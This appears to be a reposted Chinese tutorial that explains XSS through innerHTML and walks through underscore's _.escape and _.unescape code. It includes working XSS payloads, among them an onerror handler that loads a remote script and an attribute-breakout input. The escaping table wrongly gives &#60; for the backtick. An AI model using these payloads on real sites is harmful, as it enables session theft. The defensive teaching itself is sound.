美文网首页
underscore 系列之字符实体与 _.escape

underscore 系列之字符实体与 _.escape

作者: 如果俞天阳会飞 | 来源:发表于2019-05-20 16:17 被阅读0次

xss攻击

举个例子,一个个人中心页的地址为:www.example.com/user.html?name=kevin,我们希望从网址中取出用户的名称,然后将其显示在页面中,使用 JavaScript,我们可以这样做:

/**
 * 该函数用于取出网址参数
 */
function getQueryString(name) {
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
    var r = window.location.search.substr(1).match(reg);
    if (r != null) return unescape(r[2]);
    return null;
}

var name = getQueryString('name');
document.getElementById("username").innerHTML = name;

如果被一个同样懂技术的人发现的话,那么他可能会动点“坏心思”:

比如我把这个页面的地址修改为:你把地址改成 www.example.com/user.html?name=<img src=@ onerror=alert(1)> 的话,

就相当于:

document.getElementById("d1").innerHTML="<img src=@ onerror=alert(1)>"

此时立刻就弹窗了 1。
那我把地址改成 www.example.com/user.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="https://mqyqingfeng.github.io/demo/js/alert.js";document.body.appendChild(s);' /> 呢?

document.getElementById("username").innerHTML = "<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https://mqyqingfeng.github.io/demo/js/alert.js\";document.body.appendChild(s);' />";

整理下其中 onerror 的代码:

var s = document.createElement("script");
s.src = "https://mqyqingfeng.github.io/demo/js/alert.js";
document.body.appendChild(s);

代码中引入了一个第三方的脚本,这样做的事情就多了,从取你的 cookie,发送到黑客自己的服务器,到监听你的输入,到发起 CSRF 攻击,直接以你的身份调用网站的各种接口……

总之,很危险。

为了防止这种情况的发生,我们可以将网址上的值取到后,进行一个特殊处理,再赋值给 DOM 的 innerHTML。

字符转义

我们的应对方式就是将取得的值中的特殊字符转为字符实体。

其实很简单,就是取字符的 unicode 值,以 &# 开头接十进制数字 或者以 &#x开头接十六进制数字

举个例子,当页面地址是 www.example.com/user.html?name=<strong>123</strong>时,我们通过 getQueryString 取得 name 的值:

var name = getQueryString('name'); // <strong>123</strong>

如果我们直接:

document.getElementById("username").innerHTML = name;

如我们所知,使用 innerHTML 会解析内容字符串,并且改变元素的 HMTL 内容,最终,从样式上,我们会看到一个加粗的 123。

如果我们转义,将 <strong>123</strong> 中的 < 和 > 转为实体字符,即 <strong>123</strong>,我们再设置 innerHTML,浏览器就不会将其解释为标签,而是一段字符,最终会直接显示 <strong>123</strong>,这样就避免了潜在的危险。

思考

那么问题来了,我们具体要转义哪些字符呢?

想想我们之所以要转义 < 和 > ,是因为浏览器会将其认为是一个标签的开始或结束,所以要转义的字符一定是浏览器会特殊对待的字符,那还有什么字符会被特殊对待的呢?(O_o)??

& 是一个,因为浏览器会认为 & 是一个字符实体的开始,如果你输入了 <,浏览器会将其解释为 <,但是当 < 是作为用户输入的值时,应该仅仅是显示用户输入的值,而不是将其解释为一个 <。

' 和 " 也要注意,举个例子:

服务器端渲染的代码为:

function render (input) {
  return '<input type="name" value="' + input + '">'
}

input 的值如果直接来自于用户的输入,用户可以输入 "> <script>alert(1)</script>,最终渲染的 HTML 代码就变成了:

<input type="name" value=""> <script>alert(1)</script>">

结果又是一次 XSS 攻击……

最后还有一个是反引号 `,在 IE 低版本中(≤ 8),反引号可以用于关闭标签:

<img src="x` `<script>alert(1)</script>"` `>

所以我们最终确定的要转义的字符为:&, <, >, ", ', 和 `。转义对应的值为:

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
` --> &#60;

直接代码:

/**
 * 返回一个object副本,使其键(keys)和值(values)对换。
 * _.invert({a: "b"});
 * => {b: "a"};
 */
_.invert = function(obj) {
    var result = {};
    var keys = Object.keys(obj);
    for (var i = 0, length = keys.length; i < length; i++) {
        result[obj[keys[i]]] = keys[i];
    }
    return result;
};

var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
};
var unescapeMap = _.invert(escapeMap);

var createEscaper = function(map) {
    var escaper = function(match) {
        return map[match];
    };
    // 使用非捕获性分组
    var source = '(?:' + _.keys(map).join('|') + ')';
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');
    return function(string) {
        string = string == null ? '' : '' + string;
        return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
    };
};

_.escape = createEscaper(escapeMap);
_.unescape = createEscaper(unescapeMap);

来源:https://github.com/mqyqingfeng/Blog/issues/77

相关文章

网友评论

      本文标题:underscore 系列之字符实体与 _.escape

      本文链接:https://www.haomeiwen.com/subject/wtgkzqtx.html